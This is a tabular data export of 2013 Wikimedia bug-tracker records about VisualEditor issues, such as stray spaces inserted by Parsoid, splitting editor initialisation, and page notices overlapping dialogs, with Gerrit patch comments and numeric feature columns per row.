https://gerrit.wikimedia.org/r/73965",,,1374015086,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.277777777777778,1.0,"Change 73965 merged by jenkins-bot:
Create MWResizeableNode mixin to control defaultSize flag

GERRIT_URL"
251702,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,"Change 73965 had a related patch set uploaded by Esanders:
Create MWResizeableNode mixin to control defaultSize flag

https://gerrit.wikimedia.org/r/73965",,,1373983741,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.380952380952381,1.0,"Change 73965 had a related patch set uploaded by Esanders:
Create MWResizeableNode mixin to control defaultSize flag

GERRIT_URL"
52636,Space inserted before link after single-character deletion,"From https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#VE_adding_spaces.2C_messing_with_citation_access-dates:

I noticed something odd when using VisualEditor. I decided to use it when snooping around for various ""it's"" typos, for removing apostrophes seemed/is faster with VE than the old fashioned way. However, some of my edits seem to have done more than take out apostrophes. Seven times today ([http://en.wikipedia.org/w/index.php?title=Highcroft_Racing&diff=prev&oldid=562630195] [http://en.wikipedia.org/w/index.php?title=So_Emotional&diff=prev&oldid=562630132] [http://en.wikipedia.org/w/index.php?title=1988_in_British_television&diff=prev&oldid=562629968] [http://en.wikipedia.org/w/index.php?title=Olmaliq_FK&diff=prev&oldid=562629768] [http://en.wikipedia.org/w/index.php?title=FC_Jazz&diff=prev&oldid=562629613] [http://en.wikipedia.org/w/index.php?title=Brian_McDaniel&diff=prev&oldid=562629235] [http://en.wikipedia.org/w/index.php?title=Highlights_(band)&diff=prev&oldid=562629182]), VE added an extra space in a random place in the article (if it's hard to tell, on the last one it added the space right after ""its""). And then it altered references on [http://en.wikipedia.org/w/index.php?title=God_of_War_(series)&diff=prev&oldid=562631132 another], including changing access-dates. I don't think that's supposed to happen... [[User:Greengreengreenred|<font color=""#014421"">Green</font>]][[User talk:Greengreengreenred|<font color=""#50C878"">green</font>]][[Special:Contribs/Greengreengreenred|<font color=""#66FF00"">green</font>]]<font color=""red"">red</font> 02:25, 3 July 2013 (UTC)


Might be a Parsoid bug based on selser tracing. There seems to be only a single space both in the original and the edited HTML.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372821780,1372829646.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-iqdlibipj4aozqzz2www,task_description,resolved,True,c1,3,True,False,True,0,,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,5.333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,2.3333333333333335,7.666666666666667,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,2.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,2.3333333333333335,1.3333333333333333,2.0,0.6666666666666666,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,12.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,4.0,1.3333333333333333,12.666666666666666,1.0,1.3333333333333333,5.0,0.0,0.0,0.0,0.0,3.0,0.0,1.6666666666666667,0.0,3.3333333333333335,7.666666666666667,6.0,0.0,1.3333333333333333,0.0,3.3333333333333335,0.0,0.6666666666666666,1.6666666666666667,0.0,1.6666666666666667,1.0,0.0,3.6666666666666665,4.391028295376121,0.7273291925465838,"From URL

I noticed something odd when using VisualEditor. I decided to use it when snooping around for various ""it's"" typos, for removing apostrophes seemed/is faster with VE than the old fashioned way. However, some of my edits seem to have done more than take out apostrophes. Seven times today ([URL [URL [URL [URL [URL [URL [URL VE added an extra space in a random place in the article (if it's hard to tell, on the last one it added the space right after ""its""). And then it altered references on [URL another], including changing access-dates. I don't think that's supposed to happen... [[User:Greengreengreenred|<font color=""#014421"">Green</font>]][[User talk:Greengreengreenred|<font color=""#50C878"">green</font>]][[Special:Contribs/Greengreengreenred|<font color=""#66FF00"">green</font>]]<font color=""red"">red</font> 02:25, 3 July 2013 (UTC)


Might be a Parsoid bug based on selser tracing. There seems to be only a single space both in the original and the edited HTML.

--------------------------
**Version**: unspecified
**Severity**: normal"
251212,Space inserted before link after single-character deletion,"Change 71757 merged by jenkins-bot:
Bug 50636: Don't extrapolate DSR on change

https://gerrit.wikimedia.org/r/71757",,,1372829298,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.95,"Change 71757 merged by jenkins-bot:
Bug 50636: Don't extrapolate DSR on change

GERRIT_URL"
251208,Space inserted before link after single-character deletion,The space issue will be fixed with the above patch. The accessdate diff (http://en.wikipedia.org/w/index.php?title=God_of_War_(series)&diff=prev&oldid=562631132) is bug 50637.,,,1372828667,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,0.9,The space issue will be fixed with the above patch. The accessdate diff (URL is bug 50637.
251202,Space inserted before link after single-character deletion,"Change 71757 had a related patch set uploaded by GWicke:
Bug 50636: Don't extrapolate DSR on change

https://gerrit.wikimedia.org/r/71757",,,1372825446,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.173913043478261,0.9565217391304348,"Change 71757 had a related patch set uploaded by GWicke:
Bug 50636: Don't extrapolate DSR on change

GERRIT_URL"
251196,Space inserted before link after single-character deletion,"In the accessdate example, the old markup is bad (duplicate accessdate); the second one apparently wins, which makes sense.  However, there don't seem to be any actual changes in that paragraph, so it ideally shouldn't be affected at all.",,,1372824675,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,True,,,0,,4.0,0.0,0.0,2.0,4.0,10.0,4.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,2.0,0.0,0.0,14.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,4.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,10.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9215686274509802,0.8235294117647058,"In the accessdate example, the old markup is bad (duplicate accessdate); the second one apparently wins, which makes sense.  However, there don't seem to be any actual changes in that paragraph, so it ideally shouldn't be affected at all."
251191,Space inserted before link after single-character deletion,"Offhand, without having investigated this, it seems like a DSR issue.",,,1372822249,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,4.214285714285714,0.9285714285714286,"Offhand, without having investigated this, it seems like a DSR issue."
251186,Space inserted before link after single-character deletion,"Relevant part of the selser trace (note the extra space):

SS: "", an experimental racing car. The car was designed to reduce aerodynamic drag dramatically allowing for quicker straight and cornering speeds while using half as much power and half as much weight. Despite skepticism over the project, the DeltaWing made its debut at the ""
SS: "" ""
SS: ""[[2012 24 Hours of Le Mans]]""",,,1372822048,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,True,,,0,,2.0,0.0,0.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,1.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,12.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,10.0,7.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,2.0,3.7738095238095237,0.7142857142857143,"Relevant part of the selser trace (note the extra space):

SS: "", an experimental racing car. The car was designed to reduce aerodynamic drag dramatically allowing for quicker straight and cornering speeds while using half as much power and half as much weight. Despite skepticism over the project, the DeltaWing made its debut at the ""
SS: "" ""
SS: ""[[2012 24 Hours of Le Mans]]"""
52612,VisualEditor: Split mw.ViewPageTarget init from integration handling,"This doesn't mean that all of the integration needs to be independent (save dialog etc.) just the initialisation.

It used to be that the integration was only initialisation (instantiate the editor with the html document to edit, basically only up to a dozen lines of code) but it has become much more than that.

We need to separate integration and initialisation (initialisation will be part of the platform specific integration, but code-wise it should be the tip of the pyramid, not the bottom), so that our MediaWiki initialisation should be completely isolated so we can load it from the <head> and it will do only 2 things:

1) Browser compatibility test (bug 50608)
   - May depend on jQuery and a few plugins
   - May not depend on any VE classes since those may break in our subset
     of supported browsers (compared to MediaWiki/jQuery)

   (if passed)
2) Perform our changes to the interface to avoid flash of ""pre-init"" state
   - Edit tab (bug 50542)
   - Edit section links (bug 50540)
   - Handle setup/teardown of VE from either clicking an ""Edit"" link
     or by url query.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50677",High,80.0,1372800600,1372894223.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-rwwvww3qvgi4ff4ivkf7,task_description,resolved,True,c1,3,True,False,True,0,,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.0,3.6666666666666665,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,1.6666666666666667,0.0,3.6666666666666665,10.666666666666666,0.0,1.6666666666666667,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,12.333333333333334,1.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,2.0,7.333333333333333,2.3333333333333335,2.3333333333333335,6.333333333333333,0.0,0.0,0.0,0.0,6.666666666666667,0.0,1.3333333333333333,0.0,3.3333333333333335,10.666666666666666,4.0,0.0,1.6666666666666667,0.0,3.3333333333333335,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,3.7988593803200543,0.6652196118488254,"This doesn't mean that all of the integration needs to be independent (save dialog etc.) just the initialisation.

It used to be that the integration was only initialisation (instantiate the editor with the html document to edit, basically only up to a dozen lines of code) but it has become much more than that.

We need to separate integration and initialisation (initialisation will be part of the platform specific integration, but code-wise it should be the tip of the pyramid, not the bottom), so that our MediaWiki initialisation should be completely isolated so we can load it from the <head> and it will do only 2 things:

1) Browser compatibility test (bug 50608)
   - May depend on jQuery and a few plugins
   - May not depend on any VE classes since those may break in our subset
     of supported browsers (compared to MediaWiki/jQuery)

   (if passed)
2) Perform our changes to the interface to avoid flash of ""pre-init"" state
   - Edit tab (bug 50542)
   - Edit section links (bug 50540)
   - Handle setup/teardown of VE from either clicking an ""Edit"" link
     or by url query.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
249644,VisualEditor: Split mw.ViewPageTarget init from integration handling,This is now fixed (and deployed).,,,1372894223,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rwwvww3qvgi4ff4ivkf7,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,1.0,This is now fixed (and deployed).
249642,VisualEditor: Split mw.ViewPageTarget init from integration handling,"Change 71929 merged by jenkins-bot:
Split off setup from the rest of mw.ViewPageTarget

https://gerrit.wikimedia.org/r/71929",,,1372894020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rwwvww3qvgi4ff4ivkf7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,19.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,"Change 71929 merged by jenkins-bot:
Split off setup from the rest of mw.ViewPageTarget

GERRIT_URL"
249639,VisualEditor: Split mw.ViewPageTarget init from integration handling,"Change 71929 had a related patch set uploaded by Krinkle:
Split off setup from the rest of mw.ViewPageTarget

https://gerrit.wikimedia.org/r/71929",,,1372889781,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rwwvww3qvgi4ff4ivkf7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 71929 had a related patch set uploaded by Krinkle:
Split off setup from the rest of mw.ViewPageTarget

GERRIT_URL"
52608,VisualEditor: Browser compatibility test should not be done in the middle of init after (pre)loading all of core,"

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372798800,1372894193.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-pt2yvsftiewkmjm3j2nx,task_description,resolved,True,c1,3,True,False,True,0,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
249468,VisualEditor: Browser compatibility test should not be done in the middle of init after (pre)loading all of core,This is now fixed (and deployed).,,,1372894193,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pt2yvsftiewkmjm3j2nx,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,1.0,This is now fixed (and deployed).
249462,VisualEditor: Browser compatibility test should not be done in the middle of init after (pre)loading all of core,"Change 71929 merged by jenkins-bot:
Split off setup from the rest of mw.ViewPageTarget

https://gerrit.wikimedia.org/r/71929",,,1372894014,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pt2yvsftiewkmjm3j2nx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,19.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,"Change 71929 merged by jenkins-bot:
Split off setup from the rest of mw.ViewPageTarget

GERRIT_URL"
249457,VisualEditor: Browser compatibility test should not be done in the middle of init after (pre)loading all of core,"Change 71929 had a related patch set uploaded by Krinkle:
Split off setup from the rest of mw.ViewPageTarget

https://gerrit.wikimedia.org/r/71929",,,1372889784,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pt2yvsftiewkmjm3j2nx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 71929 had a related patch set uploaded by Krinkle:
Split off setup from the rest of mw.ViewPageTarget

GERRIT_URL"
52565,VisualEditor: Language links do not take namespace into account,"Check page settings for https://en.wikipedia.org/wiki/User:John_of_Reading?veaction=edit - it's probably not necessary to have language linking for userspace, but if we're going to do it the ability to distinguish sandboxes from articles would be good.

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1372756200,1381266333.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-l5hcose5p2erl7wolwnd,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.181818181818182,0.7636363636363637,"Check page settings for URL - it's probably not necessary to have language linking for userspace, but if we're going to do it the ability to distinguish sandboxes from articles would be good.

--------------------------
**Version**: unspecified
**Severity**: minor"
246923,VisualEditor: Language links do not take namespace into account,"

*** This bug has been marked as a duplicate of bug 49226 ***",,,1381266333,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l5hcose5p2erl7wolwnd,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49226 ***"
52545,VisualEditor: Page notices overlap dialogs,"**Author:** `Thehelpfulonewiki`

**Description:**
Page notice overlaps the close button on page settings

I tried to edit Barack Obama using the Visual Editor. The page notice came up - which is fine - but then I clicked on the page settings without dimissing the page notice and wasn't able to dismiss the page notice. The page notice covers the close button so the only button I could press is ""apply changes"" to causes the page settings window to go away, allowing me to hide the page notice.

I was told in #-visualeditor that you can click anywhere in the notice itself to dismiss it - something I didn't even consider doing because that's not standard behaviour for notifications (considering Facebook and even Echo). Please can we make the page notice dismissable by clicking on the ""1 notice"" area, even if you've got the page settings window up?

See attached screenshot for an illustration of the problem.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49059

**Attached**: {F11576}",High,80.0,1372730460,1372809200.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-geudhodnzjlx4dkfmnsc,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,3.6666666666666665,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,2.3333333333333335,0.3333333333333333,3.6666666666666665,7.666666666666667,0.3333333333333333,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,2.3333333333333335,4.666666666666667,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,0.0,0.0,0.0,14.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.333333333333333,1.3333333333333333,9.666666666666666,1.0,1.0,7.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,0.3333333333333333,0.3333333333333333,0.0,3.6666666666666665,7.666666666666667,3.6666666666666665,0.3333333333333333,1.6666666666666667,0